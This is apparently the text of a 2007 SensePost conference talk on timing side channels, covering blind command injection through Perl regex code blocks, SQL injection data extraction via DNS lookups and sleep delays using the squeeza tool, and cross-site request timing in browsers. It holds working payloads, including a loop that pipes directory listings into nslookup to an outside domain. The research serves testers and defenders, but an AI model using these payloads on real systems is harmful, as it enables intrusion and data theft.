It's all about the Timing!
SensePost Research (2007)
Agenda

- Who we are
- What this talk is about
- Why?
- Background
- Timing as a Channel
- Timing as a Vector
- Privacy Implications - XSRT?
- Another acronym - (D)XSRT!
- Conclusion / Questions
Who we are..

• SensePost
  – Formed in 2000
  – Written a few papers..
  – Spoken at a few conferences
  – Written a few books
  – Done some Training

• marco

• haroon

http://www.sensepost.com/blog
What is this talk about?

• Timing Stuff..
• Who should care?
  – If you are a developer..
    • Awareness of your applications leakage
  – If you are a Pen-Tester..
    • You could be missing attack vectors completely
      (or stopping short of full ownage when it's relatively trivial!)
  – If you like new acronyms!
    • X.S.R.T
    • (D)X.S.R.T
Stepping Back a Little

An illustrious history of side channel attacks on computing systems

- differential power analysis
  - hardware
- EM radiation emission analysis
  - hardware
- timing analysis
  - software/hardware
Traditional Timing

- Timing has received lots of attention over the years in the area of cryptanalysis
  - Kocher [1996]
    - 1st local results against RSA and DH
  - Brumley & Boneh [2003]
    - Derived partial RSA over network due to weaknesses in OpenSSL
  - Bernstein [2004]
    - Derived full AES key across custom network clients
  - Percival [2005]
    - L1 cache access times could be used on HT processors to derive RSA key bits
Web Time

- Felten & Schneider [2000]
  - early results on timing and the web
  - focused on privacy
    - browser cache snooping
    - dns cache snooping
- SPI Dynamics [2006]
  - Both released a JavaScript port scanner using JS’s onerror feature. Implicitly uses timing attacks (connection timed out, hence it is closed)
- Bortz, Boneh & Nandy [2007]
  - Direct timing (valid usernames, hidden gallery sizes)
  - Cross Site Timing
    - `<img onerror=xxxxxx>`
A Communication Channel

- A solid channel is a real basic requirement.
- A quick progression of remote command execution attacks: (relevant to channels)
The App. Is the Channel

- Sometimes the application by its nature gives data back to the attacker..
- Command injection
- Friendly SQL queries
The App. Is the Channel

- Sometimes the firewalling is so poor that the whole thing is almost moot!

- But we can't count on being that lucky…
So what happens when it gets a little tighter?

```php
$search_term = $user_input;
if($recordset =~ /$search_term/ig)
    do_stuff();
```
The App. Is the Channel

```
$search_term = $user_input;
if($recordset =~ /$search_term/ig)
    do_stuff();

(?
{`uname`};)
(?
{`sleep 20`};)
(?
{`perl -e 'system("sleep","10");'``;})
(?
{`perl -e 'sleep(ord(substr(qx/uname/,
0,1)))'``;})
```
Proof of my lame’ness

wh00t:~/customers/bh haroon$ python timing.py "uname"

[*] POST built and encoded
[*] Got Response: HTTP/1.1 200
[*] [83.0] seconds
[*] ['S']
[*] POST built and encoded
[*] Got Response: HTTP/1.1 200
[*] [83.0, 117.0] seconds
[*] ['S', 'u']
[*] POST built and encoded
[*] Got Response: HTTP/1.1 200
[*] [83.0, 117.0, 110.0] seconds
[*] ['S', 'u', 'n']
[*] POST built and encoded
[*] Got Response: HTTP/1.1 200
[*] [83.0, 117.0, 110.0, 79.0] seconds
[*] ['S', 'u', 'n', 'O']
[*] POST built and encoded
[*] Got Response: HTTP/1.1 200
[*] [83.0, 117.0, 110.0, 79.0, 83.0] seconds
[*] ['S', 'u', 'n', 'O', 'S']
[*] POST built and encoded
[*] Got Response: HTTP/1.1 200
[*] [83.0, 117.0, 110.0, 79.0, 83.0, 10.0] seconds
[*] ['S', 'u', 'n', 'O', 'S', '\n']
Proof (II)

- Clearly this had issues..
- `ord('A')` => 65
- `unpack(B32, 'A')` => 01000001
  - Sleep 0
  - Sleep 1
  - Sleep 0
  - ...

[Image of Python output:]
SQL Injection (Classic)

- SQL & WWW Server are the same box.. (same as birdseye)
- `echo foo > c:\inetpub\wwwroot\..`
• But outbound access like this almost never happens anymore..
Confirming execution?

- Call home: (ping, smb, nc..etc)
- Rudimentary timing: ('ping -n20 localhost')
- Nslookup:'nslookup moo_moo.sensepost.com'
- We thought DNS was worth chasing..
Poor mans dns tunnel

- for /F "usebackq tokens=1,2,3,4* %i in ('dir c:\/b') do nslookup %i.sensepost.com
- Works fine for small pieces of data..
- Sucks for anything binary..
- Sucks for anything over 255 chars
Poor mans dns tunnel

• Aka - introducing squeeza
• Inspired (in part) by Sec-1 Automagic SQL Injector..
• Provides
  - Simple shell to pull server-side data into tables (sql query / xp_cmdshell / etc)
  - Return channel to get inserted data from the server to us
  - Binary-safe transport
  - Reliable transport
• Requirements
  - ruby
  - tcpdump
  - possibly access to a DNS server
  - large SQL injection point
Squeeza’s DNS internals 1

Basic Operation:

1. Initial HTTP request pulls data into a predefined table SQCMD.

2. For each row $r_i$ in SQCMD, send a HTTP request to:
   a) chop $r_i$ into fixed-size blocks
      $b_1, b_2, \ldots, b_n = r_i$
   b) For each block $b_j$, convert to hex
      $h_j = \text{hex}(b_j)$
   c) Prepend header to and append domain to $h_j$.
   d) Initiate DNS lookup for $h_j$.
   e) Capture the DNS request with Squeeza, decode hex and store the block.

3. If blocks are missing, re-request them.
Keep in mind that pulling data into the table is not related to extracting it. i.e. the source can vary.

The default method of kicking off DNS queries is xp_cmdshell+nslookup. Oftentimes that stored proc isn’t available or allowed.

Can we cause DNS request to be initiated otherwise?

Of course!

xp_getfiledetails()
Squeeza demo
Hey!!

- I thought this talk was about timing?
- SQL Server’s “waitfor delay”
- Used by a few injection tools as a boolean operator (sql injector powershell, sqlninja, etc)
- If user=sa {waitfor 10}, else{waitfor delay 20}

So... (considering lessons learned from squeeza_I and oneTime.py, we can:
  - Execute command / extract data into new table
  - Encode table as binary strings `hostname`
    = winbox = 01110111 01101001 01101110 01100010 01101111 01111000
  - Sleep 0, sleep 2, sleep 2, sleep 0, ..
More proof of my lame’ness

• Aka – more squeeza coolness..
• anotherTime.py:

• Squeeza’s timing channel:
But how reliable is timing?

- Well, that all depends on how reliable your line is.
- But we can try to accommodate shaky lines and loaded servers with a sprinkling of stats.
- Basic calibration idea is to collect a sample set of 0-bit and 1-bit requests, discard outliers, apply elementary statistics and derive two landing pads.
- If the landing pads are far enough apart, we’ll use them, otherwise increase the time delay for 1-bits and re-calibrate.
Timing Calibration

Request Timings

- Frequency
- Time in ms

- 0-bit
- Discarded
- 1-bit
- Discarded

0 time
More squeeza cool’ness

- Additional channels
- File Transfer.
- Modularityness :)

http://www.sensepost.com/research/squeeza

http://www.sensepost.com/blog
Timing as its own Vector

• Information Leakage is big when Application Testing
• (not just because it allows security guys to say “Use generic error messages!”)

• This is useful to us as attackers / analysts..
But..

• We have been beating this drum for a bit,
• So you see it less frequently in the wild,
• But..
  – Subtle timing differences are sometimes present,
  – We just haven't been listening..
  – Hardware security Tokens (longer round trip times)
Timing failed logins

- Perfect example of what we discussed..
- Can you spot it?

- We thought it was pretty cool at the time.. (yetAnotherTime.py)
Why is this scary?

• We took a quick look at most popular application scanners out there..
• None made any reference at all to caring about timing at all..
• We built it into Suru (but to be honest, only since we discovered timing love!)
• Do it manually, buy Suru, or step on your app-scan vendors!
Timing and Privacy

- Same Origin Policy:
  - The point was simple: Don’t let site-A get results from site-B unless they are related.
  - So how did Jeremiah (and friends) do all that port-scanning coolness?
    - They used JavaScript onLoad() and onError() events to determine if they can access a host:port
    - Variation with CSS and link visited followed.
Timing and Privacy

- Portscanning was soon followed by History checking:
  - Using CSS to determine if links were visited.
- Ed Felten in 2000 examined the dangers of Java and Timing to users Privacy by timing load times.
- Felten’s 2000 Timing Attack on Privacy.
We thought

- We thought we invented a new acronym..
- XSRT – Cross Site Request Timing..
  - We were wrong: (Andrew Bortz – 2007)
  - Exactly the same attack: (Are you currently logged into linkedin / myspace / facebook / bank.com / internetbanking?)
- Example:
  - Fetch
    (http://www.facebook.com/friends.php?r)
X.S.R.T

• Cross Site Request Timing..
• Simply:
• Victim visits attackers website (or site with attackers JS)
• JavaScript causes Victims browser to surf to http://www.facebook.com/friends.php?r
• JavaScript determines load time, to decide if user is (or isn’t logged in) (> 50ms - user logged in)
• Problem: This doesn’t work the same for U.S victims and .ZA victims! (.za adds 100ms just by default!)
X.S.R.T

• We introduce the concept of a base-page

1. Fetch page available to both Logged-in and Logged-out users (base-page) (X Seconds)

2. Fetch the page available only to Logged-in users (Y Seconds)

3. Calculate X/Y

• This gives us a latency resistant method of determining logged-in/logged-out status

• (What about cached pages?)
• Wow! We can tell a user if he is or isn’t logged into mailbox?
• (Can we determine this remotely?)
So..

- Lets summarize this quickly..
  - We know some sites will betray valid usernames through timing differences
  - We know that (most) sites will betray a valid login from an invalid one based on timing..
  - We know we can use your browser to time stuff while you are surfing..
Hampster!!

QuickTime™ and a xvid decompressor are needed to see this picture.
• (Re)Introducing:
• Distributed Cross Site Request Timing
• Lets take it in stages:
  – Recall the timing script we ran against the Internet Banking site (timing.py)
  – We can implement that in JavaScript (so instead of running it from through python on my box, I can run it in JavaScript on your box!)
  – A small time granularity problem!
Lars Kindermann. Myaddress java applet.html
So: nanoTime() from java.lang.System
Distributed Cross Site Request Timing

- Recall the timing script we ran against the Internet Banking site (timing.py)
- We can implement that in JavaScript (so instead of running it from through python on my box, I can run it in JavaScript on your box!)
- A small time granularity problem!
  (No problem!)
- timing.py ➔ timing.js
  (No problem!)
- Runs in your browser, Reports success to Attackers Machine
Conclusion.

- **Developers:**
  - Make sure you are not throwing away valuable intel through timing delta’s
  - Investigate the standard XSRF detection techniques

- **Network Security Admins:**
  - Re-examine least privilege, Does your SQL Server need DNS?
  - Does your IDS detect spurious DNS requests? (to your own DNS Server?)
  - Would you spot the Timing Attacks in your logs?

- **Pen-Testers / Researchers:**
  - XSS + Header Injection...
  - Grab a copy of squeeza from http://www.sensepost.com/research/squeeza
  - Add modules / Drop us feedback

- **All:**
  - Feedback
  - http://www.sensepost.com/blog
Questions ???